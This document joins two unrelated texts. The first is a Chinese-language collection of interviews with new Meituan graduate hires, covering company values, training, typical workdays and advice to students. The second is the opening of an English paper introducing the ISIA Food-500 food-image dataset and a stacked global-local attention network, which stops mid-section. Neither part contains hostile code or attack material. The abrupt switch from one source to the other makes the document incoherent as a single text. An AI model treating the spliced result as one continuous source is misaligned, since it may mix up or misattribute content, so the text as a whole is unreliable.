级后会集中精力阅读论文、技术报告等，完成一些需要注意力集中的工作。最近，我

正沉浸在 AI 的知识海洋里，对技术前沿动态进行追踪。同时，每天也会预留部分时

间处理需要协同和沟通的工作，非常的充实！

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

孙喆：从 0 到 1 搭建了美团博士后工作站的管理和运营。

我加入美团的阶段正好是美团博士后工作站成立不久，但部门没有把我视为一个「新
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人」，而是让刚入职不久的我来主 R 这方面的工作，部门的小伙伴则是帮助我、协助

我。从最初的内部征集需求，整理发布招聘启示，制定管理细则，再到同高校科研机

构沟通、多部门协作，并成功组织了两名博士的入站答辩。在整个流程中，我也学到

了很多，也初步看到了一些结果。未来，我也会负责博士后站的运营，让每位博士后

的科研、业务产出最大化，有一种我与「美团博士后工作站」共同成长的感觉，还是

很挺成就感的。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

孙喆：我理解的基本功，是一个人说话、办事的底层思维逻辑和习惯，扎实的基本功

最后的输出可能是高效的沟通、逻辑分明主次明显有论据有结论的文档记录、对工作

环节进行拆分规划和有条不紊的执行，以及「凡事有交代，件件有着落，事事有回

音」等等。这些输出的多了，大家都会知道你是一个靠谱的人儿。

除了学习美团内部基本功相关课程、阅读推荐书籍等方式之外，我认为意识到自己和

别人的差距，并在实践中加以改进、不断尝试，直至养成为习惯也是培养基本功的好

方式，毕竟美团真的有好多优秀的同学，而且古语有云：「纸上得来终觉浅，得知此事

要躬行。」

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

孙喆：对校招新人，公司提供了新人必修课——萌芽计划新员工培训，内容涵盖公司

历史和文化，还有写作、沟通、高效能人士的七个习惯、学会提问、金字塔原理等课

程。这些有助于我们在初期快速建立对公司的认知，同时对「基本功」有了初步的概

念，也有助于我们这些职场「萌新」向职场「达人」的蜕变。

此外，公司还有很多的「选修课」，一方面，互联网 + 大学提供了技术、产品、运营、

商分等类别下各式各样的在线课程。另一方面，在美团「积累」是一种习惯，我发现

学城（美团内部 WiKi）里也有很多宝藏，很多「复盘」和「总结」中的经验和教训，

也相当于工作中的「避坑指南」。
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Q7：平时喜欢读书吗？哪本对自己影响比较大？平时有哪些爱好？这些爱好对自己

有什么影响？

孙喆：影响最大的怕不是《五年高考三年模拟》（抖个机灵）。我还是个科幻迷，喜欢

《三体》～～

爱好的话，古筝应该算一个，小学的时候开始学，坚持了好多年，后来又学习了古

琴，极大地培养了我「静下来、专注下来」的能力。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

孙喆：简单，专注，好好学习，然后每天前进 30 公里！

能和一个公司一起变得更牛逼，是另一种优秀

Q1：毕业时，你应该拿到了不少Offer，为什么最后选择了美团？

江华：能加入牛逼的公司，是一种优秀；能和一个公司一起变得更牛逼，是另一种优

秀。美团是一家高速发展的公司，我想亲眼见证美团发展成为阿里、腾讯这种规模的

大公司。
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Q2：在美团众多的企业理念中，哪一条对你影响比较大？

江华：长期有耐心。我所在的部门 AI 平台 -NLP 中心更加注重基础能力的建设与积

累。我们的项目在落地到各个不同的业务上周期也更长。如果耐不住性子或急于表

现，很多需要深耕的问题就没人处理，做起事来容易半途而废。同时用户对产品使用

的认知中存在「用户不知道产品没有 XX 功能」、「用户知道产品没有 XX 功能」，我

们需要对这些问题攻坚，以客户为中心，不断提升用户的使用体验，也少不了「长期

有耐心」。

Q3：工作中，典型的一天是怎么度过的？

江华：制定日计划，对齐周计划，调整优先级。Coding+Debug+Discuss，然后是

总结反思。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

江华：我们从零开始做的创新性项目，然后各种「黑科技」上线到大众点评，能和身

边的人骄傲地说我做了里面的哪些模块。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

江华：培养认真负责靠谱的处事态度，积累过硬的专业技能，学习高效的沟通交流能

力。平时，以人为镜，多和 Mentor、同事交流，向评价高的同学看齐。

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

江华：感谢公司平台给我们提供了很大的成长机会。当前，我参与了一个创新性的项

目，在美团和部门的强力后盾下，使得我们能够不用畏惧创业公司由于缺乏流量导致

项目夭折的风险，能够全身心地投入基础能力的积累与建设上。

Q7：平时喜欢读书吗？哪本对自己影响比较大？

江华：明人不说暗话，不太喜欢读书。其实，看的最多的还是技术书。但最近我也尝

试跳出自己的舒适区，多看看文学类书籍、人物传记和美团的「四大名著」。
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Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

江华：想对他们说，科研项目和真实工作有很大的不同。科研过程中往往会对很多外

界条件做理想化的约束，但是真实工作中，可能各种依赖因素都是欠缺的，做事的方

式也会很不一样，需要及时调整好心态，学习更多的软实力。

大家需要珍惜每次的挫折与失败，社会是残酷的，竞争是激烈的，只有哭过笑过，才

能做到独当一面。要相信，未来终究是我们的！

保持理想，保持健康，追求卓越

Q1：毕业时，你应该拿到了不少Offer，为什么最后选择了美团？

成良：首先，校招的整个面试体验很好，面试官的专业能力非常强， 探讨的问题都很

深入，也给了我一些很好的建议，在这个过程中感受到美团的技术实力和工作效率。

然后在拿到 Offer 后，我又与团队 Leader 多次交流，对组内的技术要求和工作方向

有更进一步的了解。我觉得这个岗位很有挑战，也很有价值，也相信在美团这样的环

境中，自己可以成长得更快。
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Q2：在美团众多的企业理念中，哪一条对你影响比较大？

成良：「追求卓越」和「长期有耐心」这两点吧。我认为，追求卓越是一个公司能够向

前发展的保障，同时也是一个优秀的人应该具备的品质，追求卓越的过程往往充满挑

战，也就更加需要长期有耐心的努力。

我觉得每一个平凡的工作日都是在践行这两个理念吧。

Q3：工作中，典型的一天是怎么度过的？

成良：早上到公司后查看邮件，确认线上流程正常运行。然后制定一天的工作计划，

按照重要优先级处理。下班前复盘当天的计划完成情况。挤出的碎片时间，看技术方

案、博客或论文。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

成良：是我入职后负责的第一个项目，利用深度学习预估骑手配送路线及时间。项目

整体难度很大，同时业界几乎没有可参考的案例。在项目进程中，我克服了很多困难，

取得每一个阶段性的成果都很有成就感。在技术得到提升的同时，也对业务有了更深

入的理解。这期间非常感谢 Leader 和导师的耐心指导，以及同事们的各种帮助。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

成良：我理解算法开发工程师的基本功主要体现在以下几个方面：

 ● 业务理解能力是前提，只有真正理解业务，才能有合理的、明确的目标，一个

正确的方向是成功的一半；

 ● 技术能力是核心，这里包括数据挖掘分析能力，针对具体问题的合理建模能力

和较强的工程实现能力；

 ● 时间管理能力、情绪控制能力、沟通推动能力等软实力也是重要的基础。

平时我会有意识地思考自己的短板，技术上多去看相关的资料，思考底层的原理和关

联性。其他的软实力，在工作和生活中逐步锻炼。另外，多读一些书也很有帮助。
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Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

成良：公司对每个岗位的同学都有一套明确的培养体系，从深度和广度上培养员工的

能力，我觉得在这种培养体系下，可以明确自己目前的定位和未来的发展方向，这对

我的职业规划是非常有帮助的。除此之外，公司还提供了各种培训，从价值观、软实

力增强到各种技术课程，只要想学就会有很多的机会。如果说建议的话，感觉技术培

训可以做的更加系统一些。

Q7：平时喜欢读书吗？哪本对自己影响比较大？

成良：目前正在努力让读书成为日常习惯，读过的书中，《平凡的世界》和《少有人

走的路》这两本书对我的影响比较大，虽然很经典了，也不必多言，但还是想推荐

给大家。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

成良：第一，培养好的生活和学习习惯，早睡早起；第二，锻炼独立思考的能力；第

三，潜心在自己的领域做深入的研究。

最后，保持理想，保持健康，追求卓越。
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前行路上，我们都在努力成为更好的自己

Q1：毕业时，你应该拿到了不少Offer，为什么最后选择了美团？

石英：首先，我一直在使用美团、大众点评等 App，当时能够感觉到这些产品的用户

体验、用户行为数据和 UGC 数据都有非常高的质量，对于做算法方向的我而言，一

家有着大规模、优质数据、真实落地场景的公司是非常具有吸 引力的。其次，美团的

整个面试流程简洁明了，各个面试官和 Leader 都非常 Nice，正如我现在的感受一

样，我选择了一个积极进取、有目标、有良好氛围的团队。最后，美团在生活服务

领域有 很好的用户基础和用户认知，我相信美团未来会做的越来越好，发展潜力也

比较大。

Q2：在美团众多的企业理念中，哪一条对你影响比较大？

石英：印象最深的就是「我不会，但我可以学」，自从我开始接触计算机，就一直主

动或被动的在践行这一条。初中毕业开始接触编程，不会就得自己反复啃书学习。到

后来算法竞赛，面对一个个问题，面对一个个算法，面对各种各样优雅的解题思路和

实现方式，不会、不理解，还是反复地查资料自学。离开学校步入职场，需要学的除

了专业知识和技能，还有沟通、合作、项目管理等等，每天都在学习。
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Q3：工作中，典型的一天是怎么度过的？

石英：早上把战场摆好（电脑、键盘、屏幕、白开水……），然后看看一周计划和前面

进展，确定今天的 To Do。一天处理的事务主要分两类事情：偏技术、工程的，根据

需求写代码、调程序；偏需求、业务或者沟通的，大象直接连续对接人或者拉会，会

前做好准备，会后做好记录和同步。午餐、晚餐一般按时吃，和几个同事一起唠唠

嗑，也可能唠唠正在推进的工作。饭后一般会大家一起遛个弯，坐太久了体重容易

Hold 不住……

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

石英：工作以来，印象深刻也是比较自豪的事情，应该算是完成了「统一分词器」，

并且在 DQU 项目全量上线，影响着美团大搜和点评大搜每天十亿次的请求。因为

「统一分词器」是一个很基础的信号， 并且对性能要求很高，必须用尽可能基础的、底

层的实现方式进行优化，能把这个项目推进到现在的阶段，并且在线上稳定运行，也

是一种对我自己「码力」的锻炼和检验。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

石英：我理解的基本功主要归为两个方面：

 ● 硬能力，当然是指技术方面的基本功，「码力」靠练习与借鉴他人的优秀代码，

算法靠学习与思考、对比现有的算法方案。

 ● 软能力，例如沟通能力、项目管理等，这些需要平时多观察，多换位思考，择

其善者而从之，其不善者而改之。

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

石英：公司有统一的入职培训，能够帮助我们了解公司的文化、制度和技术栈。小组

内有对应的 Mentor 能指导我们熟悉环境、开展工作；也很感谢领导能够放手让我直

接参与主要的项目之中，能快速的适应公司的工作流程，也能收获到最实用的技能。



工程师文化　<　1167

Q7：平时喜欢读书吗？哪本对自己影响比较大？

石英：技术类的书就不多说了。之前有读到《人性的弱点》，这本书里对于许多人性

或者说人们潜意识的想法、感受、反映有一个很好的剖析，并且大多是我们日常生

活、工作中容易忽视却非常重要的方面，对于沟通、人际交往都有不小的启发。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

石英：首先想到了两个词：怀念和羡慕。学弟学妹们可以好好珍惜在学校的时间，不

管是学习、实习，或者出去走走看看都是极好的；然后有一个小建议：早点明确下一

阶段的目标，并且尽量早点去 了解和准备，这也是我能幸运地加入美团 NLP 中心的

秘诀。

前行路上，我们都在努力成为更好的自己。

仰望天空，脚踏实地

Q1：毕业时，你应该拿到了不少Offer，为什么最后选择了美团？

世奇：我选择了无人车行业。首先，我认为美团是最有希望做成无人车的公司之一。
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其次，美团的技术氛围在业内有很好的口碑。

Q2：在美团众多的企业理念中，哪一条对你影响比较大？

世奇：「长期有耐心」对我影响比较大。因为我们现在做的事情在整个行业来看，都不

是短时间内可以完成很大的技术飞跃，我们也会经常听到「质疑」的声音，如果不对

未来有坚定的信心，确实很难坚持下来。只有长期有耐心，对未来有信心，才能把技

术做强，比别人做的更深、更专。

Q3：工作中，典型的一天是怎么度过的？

世奇：早上过来，我会先对今天的工作任务做下梳理，思考好实现细节，然后开始开

发代码。期间也会对高优突发的 Case 进行分析、处理。一天中也要抽空关注业内动

态，学习前沿技术。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

世奇：2019 年 11 月份，我们拿到了北京自动驾驶路测牌照。整个团队经过几个月的

努力，解决了很多难题，最终顺利通过测试。在拿到牌照的时候，大家还是非常激动

的，能够在这样强劲的技术团队做出自己的贡献，自己也感觉到很自豪。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

世奇：日常可以用到的技能都是基本功，比如专业技能、沟通技能等，加强这些技能

都可以提升自己的工作效率。一般我会通过阅读相关书籍、参加技术分享来了解相关

技能，然后在实践中尝试这些新技能，进而达到提升基本功的目的。美团也有句老

话，「仰望天空，脚踏实地」。

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

世奇：帮助还是挺大的。通过「萌芽计划」让自己对美团文化有了非常深刻的认识，

导师制也帮助自己更加快速地融入团队。如果说建议的话，希望后期可以增加一些网

上授课。
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Q7：平时喜欢读书吗？哪本对自己影响比较大？

世奇：《学会提问》，用批判性眼光看待问题。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

世奇：夯实基础，对新鲜事物、前沿技术保持好奇心。我们是「八九点钟的太阳」，

有幸与大家一起共筑辉煌。

谋定而后动，做事有头尾

Q1：毕业时，你应该拿到了不少Offer，为什么最后选择了美团？

漆毅：首先，我投的公司并不多，毕业时在手的 Offer 不算多。选美团是因为感受到

了美团对校招生的重视。当时面试通过以后，部门专门邀请我们去公司，给我们讲部

门具体在做什么、现状如何，后续发展如何。然后个人对整个业务前景也比较认可。

既然各家 Offer 的硬条件都差不多，当然要选一个自己最有好感、也最认可的，最后

就选择了我团。
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Q2：在美团众多的企业理念中，哪一条对你影响比较大？

漆毅：长期有耐心。工作中生活中的事情，能不能在觉得「山穷水尽」时继续坚持，

最终迎来「柳暗花明」，关键很看人的耐心够不够，信心足不足。有耐心总是好事。

因为我参加工作不到一年，这里只能举一个稍显单薄的例子。我在广告平台具体做

CTR 预估的算法工作，最近的一个项目是使用增量学习的方式去优化模型。最初入

手时，发现换了优化方式后，模型效果大降，不符合预期。后来也是花费了比较多的

时间，从代码 Bug、模型参数等等层面看是什么原因，最后定位是输入数据的处理方

式需要做适当调整。这个过程需要一定「水磨豆腐」的耐心功夫。当然回头来看，这

也使我对「模型效果取决于数据」这句话有了更为深刻的理解。

Q3：工作中，典型的一天是怎么度过的？

漆毅：每天到公司后，会先看看夜间的线上任务，确保正常。然后列一列昨日未结事

项和今日必做清单，此后就按照计划一项一项去做。如果涉及到沟通合作的事情，就

要和相关同事协调时间讨论沟通。因为是做数据相关工作，最近也有意识地多去探

索、观察数据。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

漆毅：工作上的话，印象比较深刻的是第一个模型上线。跟着 Mentor 走完整个流程，

最后成功上线，也有一个不错的结果，还是很开心的。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

漆毅：我理解是「谋定而后动」，做事有头尾。在做一件事之前，都先想清楚为什么

要做这件事。然后也多和同事、Leader 沟通，对齐目标，争取得到最大的帮助。一

旦定好目标计划，开始执行，技术层面就靠一些硬功夫，如代码能力、数据分析能

力、业务指标理解程度等等，保障能逐步推进，获得有效输出。平时，我主要还是从

具体的项目实施中去加强这方面锻炼。在具体的项目制定和推进过程中，注意每天或

隔天都有小目标和小回顾，也在合适时与团队沟通、对齐。
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Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

漆毅：公司提供的培养方面，帮助最大的无疑是新人培养计划。部门为每个新入职的

同事分配了一名 Mentor，帮助熟悉工作、融入团队。这里要特别感谢我的 Mentor，

他的业务、技术厉害不说，还超有耐心。

其他培养的话，我印象比较深的有互联网 + 大学的一些课程，这些课程都是由公司内

同事或公司邀请外部大牛来讲述，是很好的沟通与学习的机会。对于一个技术新人来

说，目前，我们收到的课程推送主要是技术方面的课程信息。而公司层面一直很强调

业务理解和业务价值，因而我觉得针对这部分内容，可以考虑对技术同学推送业务相

关的一些基础课程。

Q7：平时喜欢读书吗？哪本对自己影响比较大？

漆毅：平时会读一些书，小说啊诗歌啊之类，比较放松。来美团后看了美团「四大名

著」之一的《高效能人士的七个习惯》。特别欣赏其中一条，叫「以终为始」。结合公

司强调的基本功训练，我理解就是定好目标，完善计划，并妥善执行。说来容易，动

手艰辛，还是一定要耐心够、干劲足才行。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

漆毅：真的是很羡慕大家，还是挺怀念在学校的日子的。如果说有什么贴近实际的建

议，那就是学弟学妹们在找工作时，能多就多投，不要给自己的选择设限。面试也是

一个互相了解的过程。当然也欢迎大家多投美团，已经有很多学长学姐，在美团的各

个岗位上发挥出个人的价值，特别欢迎大家来广告平台。

这些日子，全球各方面冲突加剧，显得动荡不安。在这样的环境下，我们每个个体看

重什么，做什么样的选择，更需要三思。
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不拘泥于眼前的得失，把控未来五年、十年的变化与发展

Q1：毕业时，你应该拿到了不少Offer，为什么最后选择了美团？

佳昊：我在 2018 年 7 月份参加美团的面试，11 月份决定加入美团，期间历时 4 个

月的时间。在这期间，我和我的 Leader 一直在沟通交流，他的坦诚、思考问题的方

式、还有他之前在学术界取得的成果深深吸引并打动了我。

此外，在等待 Offer 期间，部门负责人王仲远还特地为我们校招生开了「保温

party」，真实详细且毫不避讳地介绍了部门已有的成果和不足，部门的目标和战略，

以及未来的方向。让我认识到，搜索与 NLP 部门是一个由使命感驱动的团队，是一

个可以专心做事的地方。因此，我选择加入了美团。

Q2：在美团众多的企业理念中，哪一条对你影响比较大？

佳昊：长期有耐心。在工作期间愈发体会到这 5 个字的分量。在发展如此快速的互联

网行业，大部分人都期望可以快速拿到产出。但「贪心」算法告诉我们，「步步最优，

不一定全局最优」。所谓「长期有耐心」，需要我们把目光放的长远，准确把控未来五

年、十年的变化与发展，不拘泥于眼前的得失。如果没有一定的战略眼光和知识储
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备，是无法做到这一点的。当然，也深感自己要学习的还有太多。

Q3：工作中，典型的一天是怎么度过的？

佳昊：到公司查看邮件，确定会议时间，做好会议准备。下午到晚上，会专心解决一

些复杂的问题。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

佳昊：我参与的一个项目是改善美团大搜中的相关性问题。当自己的方法上线后，可

以切实感受到相关性问题得到了明显的改善，感到很自豪。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

佳昊：基本功是工作的日常。发送邮件、大象沟通、写代码注释、做 Slides、面对面

沟通等等。我最近在锻炼自己的写作能力：

 ● 把问题定义清楚。不同的人对同一个词的定义会不一样，容易造成歧义。

 ● 减少「口语化」的表述。减少 Buzzy Words。力求精炼、准确、无误。

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

佳昊：美团「萌芽计划」封闭培训，让我了解了公司的历史、文化还有价值观，对公

司产生了更大的归属感。还有就是互联网 + 大学的课程，帮助我快速地学习，提升自

己的技术。

Q7：平时喜欢读书吗？哪本对自己影响比较大？平时有哪些爱好？这些爱好对自己

有什么影响？

佳昊：《原则》，这本书很多大佬都推荐过。还有就是打「桌游」，能够培养自己的逻辑

能力，识别逻辑陷阱。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

佳昊：对于非毕业生，建议大家学好知识，打好基础。大学生活很精彩，学习是其中
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最重要的一部分。对于毕业生，在选择第一份工作时，不要只考虑薪酬，还要考虑未

来 3 到 5 年的发展。希望大家早日做好个人规划，多跟部门同事或者未来的 Leader

进行沟通。也欢迎大家加入美团，和优秀的人一起做非凡的事。

最后引用鲁迅先生的一句话：「愿中国青年都摆脱冷气，只是向上走，不必听自暴自弃

者流的话。能做事的做事，能发声的发声。有一分热，发一分光。就令萤火一般，也

可以在黑暗里发一点光，不必等候炬火。」跟同学们共勉。

致敬青年

今天，在这个属于青年的特殊日子里，我们向所有的青年才俊说一声：大家辛苦了！

因为有你，我们青春无限。

因为有你，我们不畏艰难。

因为有你，我们纵情向前！
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ABSTRACT
Food recognition has received more and more attention in the mul-
timedia community for its various real-world applications, such
as diet management and self-service restaurants. A large-scale on-
tology of food images is urgently needed for developing advanced
large-scale food recognition algorithms, as well as for providing
the benchmark dataset for such algorithms. To encourage further
progress in food recognition, we introduce the dataset ISIA Food-
500 with 500 categories from the list in the Wikipedia and 399,726
images, a more comprehensive food dataset that surpasses existing
popular benchmark datasets by category coverage and data volume.
Furthermore, we propose a stacked global-local attention network,
which consists of two sub-networks for food recognition. One sub-
network first utilizes hybrid spatial-channel attention to extract
more discriminative features, and then aggregates these multi-scale
discriminative features from multiple layers into global-level rep-
resentation (e.g., texture and shape information about food). The
other one generates attentional regions (e.g., ingredient relevant
regions) from different regions via cascaded spatial transformers,
and further aggregates these multi-scale regional features from
different layers into local-level representation. These two types
of features are finally fused as comprehensive representation for
food recognition. Extensive experiments on ISIA Food-500 and
other two popular benchmark datasets demonstrate the effective-
ness of our proposed method, and thus can be considered as one
strong baseline. The dataset, code and models can be found at
http://123.57.42.89/FoodComputing-Dataset/ISIA-Food500.html.

CCS CONCEPTS
• Computing methodologies → Image representations; Ob-
ject recognition.

KEYWORDS
Food Recognition, Food Datasets, Benchmark, Deep Learning
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1 INTRODUCTION
Food computing [38] is emerging as a new field to ameliorate the
issues from many food-relevant fields, such as nutrition, agricul-
ture and medicine. As one significant task in food computing, food
recognition has received more attention in multimedia and beyond
[15, 25, 36, 41] for its various applications, such as visual food di-
ary [36], health-aware recommendation [42] and self-service restau-
rants [2].

Despite its great potential applications, recognizing food from
images is still a challenging task, and the challenge derives from
three-fold:
• There is a lack of large-scale food dataset for food recog-
nition. Existing works mainly focus on utilizing smaller datas-
ets for food recognition, such as ETH Food-101 [6] and Vireo
Food-172 [7]. For example, Bossard et al. [6] released one food
dataset ETH Food-101 from western cuisines with 101 food
categories and 101,000 images. Chen et al. [7] introduced the
Vireo Food-172 dataset from 172 Chinese food categories. These
data-sets is lack of diversity and coverage in food categories
and do not include a wide range of food images. Therefore, they
are probably not sufficient to construct more complicated deep
learning models for food recognition.

• There are larger intra-class variations in the global ap-
pearance, shape and other configurations for food im-
ages. As shown in Fig. 1, there are different shapes for the
butter pecan and different textures appear in the mie goreng
dish. Although numerous methods have been developed for
addressing the problem of food recognition, most of these meth-
ods mainly focus on extracting features with certain type or
some types while ignoring other aspects. For example, works
on [4] mainly extracted color features while Niki et al. [32]
designed a network to capture certain vertical structure for
food recognition.

• There are subtle discriminative details from food images,
which are harder to capture in many cases. Food recogni-
tion belongs to fine-grained recognition. Therefore, discrimi-
native details are too subtle to be well-represented by existing
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CNNs in many cases. As shown in Fig. 1, global features are
not discriminative enough to distinguish between corn stew
and leek soup. Although local regional features are probably
more useful, we should carefully design one network to capture
and represent such subtle difference. In order to improve the
recognition performance, additional context information, such
as location and ingredients [4, 41, 51, 59] is utilized. However,
when these information is unavailable, these methods probably
do not work.

Figure 1: Some samples from ISIA Food-500

In this work, we address data limitations by introducing a new
large-scale dataset ISIA Food-500 with 399,726 images and 500 cat-
egories. In contrast with existing popular benchmark datasets, it
is a more comprehensive food dataset with larger category cover-
age, larger data volume and higher diversity. To solve another two
challenges, we propose a Stacked Global-Local Attention Network
(SGLANet) to jointly learn complementary global and local visual
features for food recognition. This is achieved by two sub-networks,
namely Global Feature Learning Subnetwork (GloFLS) and Local-
Feature Learning Subnetwork (LocFLS). GloFLS first utilizes hybrid
spatial-channel attention to obtain more discriminative features
for each layer, and then aggregates these features from different
layers with both coarse and fine-grained levels, such as shape and
texture cues about food into global-level features. LocFLS adopts
cascaded Spatial Transformers (STs) to localize different attentional
regions (e.g., ingredient-relevant regions), and aggregates fused re-
gional features from different layers into local-level representation.
In addition, SGLANet is trained with different types of losses in
an end-to-end fashion to maximize their complementary effect in
terms of discriminative power.

The contributions of our paper can be summarized as follows:
• We introduce a new large-scale and highly diverse food image
dataset with 500 categories and about 400,000 images, which
will be made publicly available to further the development of
scalable food recognition.

• We propose a stacked global-local attention network architec-
ture to jointly learn food-oriented global and local features

Table 1: Summary of available datasets for food recognition.

Dataset #Images #Categories #Coverage
PFID [9] 4,545 101 Japanese

UEC Food100 [34] 14,361 100 Japanese
UEC Food256 [27] 25,088 256 Japanese
ETHZ Food-101 [6] 101,000 101 Western
UPMC Food-101 [48] 90,840 101 Western
UNIMIB2015 [12] 2,000 15 Misc.
UNIMIB2016 [13] 1,027 73 Misc.

ChineseFoodNet [10] 192,000 208 Chinese
Vireo Food-172 [7] 110,241 172 Chinese
KenyanFood13 [23] 8,174 13 Kenyan

Sushi-50 [44] 3,963 50 Japanese
FoodX-251 [26] 158,846 251 Misc.

ISIA Food-200 [41] 197,323 200 Misc.
ISIA Food-500 399,726 500 Misc.

via combining hybrid spatial-channel attention and multi-scale
strategy for food recognition.

• We conduct extensive evaluation on our proposed dataset and
other two popular food benchmark datasets to verify the ef-
fectiveness of our approach. As one strong baseline, code and
models will also be released upon publication to support future
research.

2 RELATEDWORK
Food-centric datasets More and more food datasets have been
developed [6, 7, 26, 27, 34, 41] in recent years. Table 1 summarizes
statistics of publicly available datasets for food recognition. The first
benchmark is the PFID dataset [9] with only 4,545 images from 101
fast food categories. ETHZ Food-101 dataset [6] and VIREO Food-
172 dataset [7] consist of more food images. However, these datasets
failed in term of more comprehensive coverage of food categories,
like object-centric ImageNet [14] and place-centric Places [58]. We
hence introduce a new large scale food dataset ISIA Food-500 with
399,726 images and 500 food categories, and it aims at advancing
multimedia food recognition and promoting the development of
food-oriented multimedia intelligence.

There are some recipe-relevant multimodal datasets, such as
Yummly28K [39], Yummly66K [37] and Recipe1M [45]. Recipe1M
is the most known dataset, which contains about 1 million struc-
tured cooking recipes and their images for cross-modal retrieval. In
contrast, the goal of our proposed ISIA Food-500 is for advancing
multimedia food recognition.

Food Recognition Recently, Min et al. [38] gave a survey on
food computing including food recognition. In the earlier years,
various hand-crafted features are utilized for recognition [6, 53]. For
example, Lukas et al. [6] utilized random forests to mine discrim-
inative image patches as visual representation. Recent advances
in deep learning have gained significant attention due to its im-
pressive performance. As a result, existing methods resort to deep
learning for food recognition [18, 25, 32]. There are also literatures,
which utilize additional context information, such as ingredients
and location [7, 41, 59] to improve the recognition performance.
For example, Zhou et al. [59] exploited rich relationships among
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ingredients and restaurant information through the bi-partite graph
for food recognition. Different from these works, our work does
not introduce additional context information, and design a two-
branch network to jointly learn food-oriented global features(e.g.,
texture and shape) and local features (e.g.,ingredient-relevant re-
gional features) to enable comprehensive and discriminative feature
representation for food recognition.

In addition, our work is also very relevant to fine-grained im-
age recognition [49], which aims to classify subordinate categories.
Food recognition belongs to fine-grained image recognition. How-
ever, compared with other types of fine-grained objects, we should
take characteristics of food images into consideration, and design
the targeted network for food recognition.

3 ISIA FOOD-500
3.1 Dataset Construction
In order to obtain one high-quality food dataset with broad coverage,
high diversity and density of samples, we build ISIA Food-500 from
the following four steps:

(1) Constructing the Food Category List. In order to guaran-
tee high-coverage of the categorical space, we resort to Wikipedia
to construct the food concept system. Particularly, we built the food
list according to “Lists of foods by ingredient" fromWikipedia1. The
Deep-First-Search algorithm is used to traverse links of the website
to find food categories more completely. After that, we obtained
the original food list with 4,943 types. We then removed redundant
food types and conducted the combination for synonyms. Finally,
we obtained 3,309 food categories.

(2) Collecting Food Images. Using a query term from the con-
structed food category list, we crawled candidate images from
various search engines (i.e., Google, Bing and Baidu) for broader
coverage and higher diversity of food images compared with other
datasets from only one data source. In order to ensure that crawled
images are less noisy, we expanded search terms by adding key-
words, such as “food" and “dish". In this case, images for each term
are retrieved and these images are then combined from different
search engines. Because some images crawled from different search
engines are repeated, we conducted hash based duplication detec-
tion to remove repeated ones.

(3) Cleaning and Pre-processing Food Images. Images are
cleaned up through both automatic and manual processing. For
automatic data cleaning, we removed candidate images with incom-
plete RGB channels, and the length or width of an image less than
100 pixels. We next trained a food/non-food binary classifier to
further remove non-food images. Particularly, we combined images
from the training set of both ETHZ Food-101 (western dishes) and
VireoFood-172 (eastern dishes) as positive samples of the training
set. We then randomly selected about 400,000 non-food images from
both ImageNet and Places365 as negative samples of the training
set. All the test samples of both ETHZ Food-101 and VireoFood-172
and the other 100,000 non-food images randomly selected from
both ImageNet and Places365 constitute the test set. We trained a
deep network (VGG-16 in our work) on the constructed training set
and the classification accuracy of the network achieved 99.48% on

1https://en.wikipedia.org/wiki/Category:Lists_of_foods

the test set. The trained model is then used to filter out non-food
images from downloaded images. After automatic cleaning, we
then conduct manual verification by crowd-sourcing the task to 20
Lab members.

(4) Scaling Up the Dataset. After image collection and anno-
tation, there are still many food categories with few images. To
further increase the number of the candidate dataset, we translated
the name of these food categories into different languages, such as
Chinese and French, and then crawled images from three search
engines. We also crawled more food images from other recipe/food
shared websites, such as Allrecipes.com and foodgawker.com. We
finally selected 500 categories with more than 500 images per cate-
gory as our resulting dataset.

3.2 Dataset Statistics and Characteristics
ISIA Food-500 consists of 399,726 images with 500 categories. The
average number of images per category is about 800. Fig. 2 shows
sorted distribution of the number of images from sampled classes
while Fig. 3 shows some samples. Note that we represented the food
category with more than twowords by concatenating them using ‘-’.
ISIA Food-500 is a more comprehensive food dataset that surpasses
existing popular benchmark datasets, such as ETH Food-101 and
Vireo Food-172 from the following three aspects: (1) Larger data
volume. It has 399,726 images from 500 food categories, which has
created a new milestone for the task of complex food recognition.
(2) Larger category coverage. It consists of 500 categories, which
is about 3 ∼ 5 times that of existing datasets, such as Food-101
and Vireo Food-172. (3) Higher diversity. Food categories from
this dataset covers various countries and regions including both
eastern and western cuisines. Fig. 4 provided the comparisons of
distributions of food categories on food types, such as ETH Food-
101 (western food), Vireo Food-172 (eastern food) and ISIA Food-200
(Misc. food). According to the GSFA standard2, the food from our
dataset and existing typical ones mainly belongs to the following
11 categories: Meat, Cereals, Vegetables, Fish, Fruits, Dairy, Bakery,
Fats, Confectionary, Beverages and Eggs. We can see that for most
of food types, the number of food categories from ISIA Food-500 is
larger than these existing datasets. Furthermore, some food types
are covered in ISIA Food-500, but missing in other ones, such as
Dairy and Beverages.

4 FRAMEWORK
Fig. 5 illustrates the proposed Stacked Global-Local Attention Net-
work (SGLANet), which can jointly learn complementary global
and local features for food recognition. SGLANet mainly consists
of two components, namely Global Feature Learning Sub-network
(GloFLS) and Local-Feature Learning Sub-network (LocFLS). GloF-
